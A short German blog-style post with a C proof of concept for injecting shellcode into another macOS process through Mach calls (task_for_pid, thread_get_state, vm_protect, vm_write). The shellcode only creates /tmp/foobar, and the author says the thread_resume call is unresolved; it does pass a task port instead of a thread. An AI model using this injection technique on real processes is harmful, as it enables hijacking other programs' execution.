Ptrace wird wohl in den naechsten Versionen von Mac OS X komplett verschwinden. Schon jetzt kann nicht auf die Register zugegriffen werden; natuerlich wird eine andere Moeglichkeit angeboten:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <sys/types.h> 4 #include <mach/mach_types.h> 5 #include <mach/i386/thread_status.h> 6 7 8 char shellcode[] = "\x90\x90\x90\x90\x48\xc7\xc0\x05\ 9 \x00\x00\x02\x48\xbb\x62\x61\x72\x00\xff\xff\xff\xff\x53\x48\xbb\ 10 \x2f\x74\x6d\x70\x2f\x66\x6f\x6f\x53\x48\x89\xe7\x48\xc7\xc6\x01\ 11 \x02\x00\x00\x0f\x05\x90\x90\x90\x90"; 12 13 14 int main(int argc, char **argv) 15 { 16 int pid = atoi(argv[1]); 17 long thread = 0; // for first thread 18 mach_port_t remoteTask = 0; 19 thread_act_port_array_t thread_list; 20 mach_msg_type_number_t thread_count; 21 x86_thread_state64_t x86_state; 22 mach_msg_type_number_t sc = x86_THREAD_STATE_COUNT; 23 24 task_for_pid(mach_task_self(), pid, &remoteTask); 25 26 // task_suspend(remoteTask); 27 28 if (task_threads(remoteTask, &thread_list, &thread_count)) 29 printf("cannot get list of tasks\n"); 30 31 if (thread_get_state( 32 thread_list[thread], 33 x86_THREAD_STATE64, 34 (thread_state_t)&x86_state, 35 &sc 36 )) 37 printf("getting state from thread\n"); 38 39 40 printf("rip: 0x%x %ld\n", x86_state.__rip, x86_state.__rip); 41 printf("rax: 0x%x %ld\n", x86_state.__rax, x86_state.__rax); 42 printf("sizeof(shellcode) = %d \n", sizeof(shellcode)); 43 44 vm_protect(remoteTask, x86_state.__rip, sizeof(shellcode), FALSE, 45 VM_PROT_READ|VM_PROT_WRITE); 46 vm_write(remoteTask, x86_state.__rip, shellcode, sizeof(shellcode)); 47 48 49 thread_resume(remoteTask); 50 51 }
Wenn jmd weiss, wie man thread_resume() benutzt, dann bitte melden ;)
Der Shellcode erstellt die Datei /tmp/foobar via open-syscall; aber frei nach dem Diskordischen Gebot "Es ist verboten zu glauben, was du liest" solltest du das natuerlich ueberpruefen xD

